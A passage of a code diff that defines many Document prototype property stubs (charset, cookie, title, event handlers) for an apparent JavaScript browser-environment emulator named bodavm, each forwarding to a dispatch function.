function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "charset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "inputEncoding", { + configurable: true, + enumerable: true, + get: function inputEncoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "inputEncoding_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "contentType", { + configurable: true, + enumerable: true, + get: function contentType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "contentType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "doctype", { + configurable: true, + enumerable: true, + get: function doctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "doctype_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "documentElement", { + configurable: true, + enumerable: true, + get: function documentElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "documentElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "xmlEncoding", { + configurable: true, + enumerable: true, + get: function xmlEncoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlEncoding_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "xmlVersion", { + configurable: true, + enumerable: true, + get: function xmlVersion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlVersion_get", arguments); + }, + set: function xmlVersion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlVersion_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "xmlStandalone", { + configurable: true, + enumerable: true, + get: function xmlStandalone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlStandalone_get", arguments); + }, + set: function xmlStandalone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlStandalone_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "domain", { + configurable: true, + enumerable: true, + get: function domain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "domain_get", arguments); + }, + set: function domain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "domain_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "referrer", { + configurable: true, + enumerable: true, + get: function referrer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "referrer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "cookie", { + configurable: true, + enumerable: true, + get: function cookie() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "cookie_get", arguments); + }, + set: function cookie() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "cookie_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "lastModified", { + configurable: true, + enumerable: true, + get: function lastModified() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "lastModified_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "title", { + configurable: true, + enumerable: true, + get: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "title_get", arguments); + }, + set: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "title_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "dir", { + configurable: true, + enumerable: true, + get: function dir() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "dir_get", arguments); + }, + set: function dir() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "dir_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "body", { + configurable: true, + enumerable: true, + get: function body() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "body_get", arguments); + }, + set: function body() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "body_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "head", { + configurable: true, + enumerable: true, + get: function head() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "head_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "images", { + configurable: true, + enumerable: true, + get: function images() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "images_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "embeds", { + configurable: true, + enumerable: true, + get: function embeds() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "embeds_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "plugins", { + configurable: true, + enumerable: true, + get: function plugins() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "plugins_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "links", { + configurable: true, + enumerable: true, + get: function links() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "links_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "forms", { + configurable: true, + enumerable: true, + get: function forms() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "forms_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "scripts", { + configurable: true, + enumerable: true, + get: function scripts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "scripts_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "currentScript", { + configurable: true, + enumerable: true, + get: function currentScript() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "currentScript_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "defaultView", { + configurable: true, + enumerable: true, + get: function defaultView() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "defaultView_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "designMode", { + configurable: true, + enumerable: true, + get: function designMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "designMode_get", arguments); + }, + set: function designMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "designMode_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onreadystatechange", { + configurable: true, + enumerable: true, + get: function onreadystatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreadystatechange_get", arguments); + }, + set: function onreadystatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreadystatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "anchors", { + configurable: true, + enumerable: true, + get: function anchors() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "anchors_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "applets", { + configurable: true, + enumerable: true, + get: function applets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "applets_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fgColor", { + configurable: true, + enumerable: true, + get: function fgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fgColor_get", arguments); + }, + set: function fgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "linkColor", { + configurable: true, + enumerable: true, + get: function linkColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "linkColor_get", arguments); + }, + set: function linkColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "linkColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "vlinkColor", { + configurable: true, + enumerable: true, + get: function vlinkColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "vlinkColor_get", arguments); + }, + set: function vlinkColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "vlinkColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "alinkColor", { + configurable: true, + enumerable: true, + get: function alinkColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "alinkColor_get", arguments); + }, + set: function alinkColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "alinkColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "bgColor", { + configurable: true, + enumerable: true, + get: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "bgColor_get", arguments); + }, + set: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "bgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "all", { + configurable: true, + enumerable: true, + get: function all() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "all_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "scrollingElement", { + configurable: true, + enumerable: true, + get: function scrollingElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "scrollingElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerlockchange", { + configurable: true, + enumerable: true, + get: function onpointerlockchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockchange_get", arguments); + }, + set: function onpointerlockchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerlockerror", { + configurable: true, + enumerable: true, + get: function onpointerlockerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockerror_get", arguments); + }, + set: function onpointerlockerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "hidden", { + configurable: true, + enumerable: true, + get: function hidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "hidden_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "visibilityState", { + configurable: true, + enumerable: true, + get: function visibilityState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "visibilityState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "wasDiscarded", { + configurable: true, + enumerable: true, + get: function wasDiscarded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "wasDiscarded_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "featurePolicy", { + configurable: true, + enumerable: true, + get: function featurePolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "featurePolicy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitVisibilityState", { + configurable: true, + enumerable: true, + get: function webkitVisibilityState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitVisibilityState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitHidden", { + configurable: true, + enumerable: true, + get: function webkitHidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitHidden_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforecopy", { + configurable: true, + enumerable: true, + get: function onbeforecopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecopy_get", arguments); + }, + set: function onbeforecopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecopy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforecut", { + configurable: true, + enumerable: true, + get: function onbeforecut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecut_get", arguments); + }, + set: function onbeforecut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecut_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforepaste", { + configurable: true, + enumerable: true, + get: function onbeforepaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforepaste_get", arguments); + }, + set: function onbeforepaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforepaste_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onfreeze", { + configurable: true, + enumerable: true, + get: function onfreeze() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfreeze_get", arguments); + }, + set: function onfreeze() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfreeze_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onresume", { + configurable: true, + enumerable: true, + get: function onresume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresume_get", arguments); + }, + set: function onresume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresume_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onsearch", { + configurable: true, + enumerable: true, + get: function onsearch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsearch_get", arguments); + }, + set: function onsearch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsearch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onvisibilitychange", { + configurable: true, + enumerable: true, + get: function onvisibilitychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvisibilitychange_get", arguments); + }, + set: function onvisibilitychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvisibilitychange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fullscreenEnabled", { + configurable: true, + enumerable: true, + get: function fullscreenEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenEnabled_get", arguments); + }, + set: function fullscreenEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenEnabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fullscreen", { + configurable: true, + enumerable: true, + get: function fullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreen_get", arguments); + }, + set: function fullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreen_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onfullscreenchange", { + configurable: true, + enumerable: true, + get: function onfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenchange_get", arguments); + }, + set: function onfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onfullscreenerror", { + configurable: true, + enumerable: true, + get: function onfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenerror_get", arguments); + }, + set: function onfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitIsFullScreen", { + configurable: true, + enumerable: true, + get: function webkitIsFullScreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitIsFullScreen_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitCurrentFullScreenElement", { + configurable: true, + enumerable: true, + get: function webkitCurrentFullScreenElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitCurrentFullScreenElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitFullscreenEnabled", { + configurable: true, + enumerable: true, + get: function webkitFullscreenEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitFullscreenEnabled_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitFullscreenElement", { + configurable: true, + enumerable: true, + get: function webkitFullscreenElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitFullscreenElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitfullscreenchange", { + configurable: true, + enumerable: true, + get: function onwebkitfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenchange_get", arguments); + }, + set: function onwebkitfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitfullscreenerror", { + configurable: true, + enumerable: true, + get: function onwebkitfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenerror_get", arguments); + }, + set: function onwebkitfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "rootElement", { + configurable: true, + enumerable: true, + get: function rootElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "rootElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "pictureInPictureEnabled", { + configurable: true, + enumerable: true, + get: function pictureInPictureEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pictureInPictureEnabled_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "pictureInPictureElement", { + configurable: true, + enumerable: true, + get: function pictureInPictureElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pictureInPictureElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforexrselect", { + configurable: true, + enumerable: true, + get: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforexrselect_get", arguments); + }, + set: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforexrselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforeinput", { + configurable: true, + enumerable: true, + get: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforeinput_get", arguments); + }, + set: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforeinput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onblur", { + configurable: true, + enumerable: true, + get: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onblur_get", arguments); + }, + set: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onblur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncancel", { + configurable: true, + enumerable: true, + get: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncancel_get", arguments); + }, + set: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncanplay", { + configurable: true, + enumerable: true, + get: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplay_get", arguments); + }, + set: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncanplaythrough", { + configurable: true, + enumerable: true, + get: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplaythrough_get", arguments); + }, + set: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplaythrough_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onclick", { + configurable: true, + enumerable: true, + get: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclick_get", arguments); + }, + set: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncontextlost", { + configurable: true, + enumerable: true, + get: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextlost_get", arguments); + }, + set: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextlost_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncontextmenu", { + configurable: true, + enumerable: true, + get: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextmenu_get", arguments); + }, + set: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextmenu_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncontextrestored", { + configurable: true, + enumerable: true, + get: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextrestored_get", arguments); + }, + set: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextrestored_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncuechange", { + configurable: true, + enumerable: true, + get: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncuechange_get", arguments); + }, + set: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncuechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondblclick", { + configurable: true, + enumerable: true, + get: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondblclick_get", arguments); + }, + set: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondblclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondrag", { + configurable: true, + enumerable: true, + get: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrag_get", arguments); + }, + set: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrag_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragend", { + configurable: true, + enumerable: true, + get: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragend_get", arguments); + }, + set: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragenter", { + configurable: true, + enumerable: true, + get: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragenter_get", arguments); + }, + set: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragleave", { + configurable: true, + enumerable: true, + get: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragleave_get", arguments); + }, + set: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragover", { + configurable: true, + enumerable: true, + get: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragover_get", arguments); + }, + set: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragstart", { + configurable: true, + enumerable: true, + get: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragstart_get", arguments); + }, + set: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondrop", { + configurable: true, + enumerable: true, + get: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrop_get", arguments); + }, + set: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondurationchange", { + configurable: true, + enumerable: true, + get: function ondurationchange() { + return 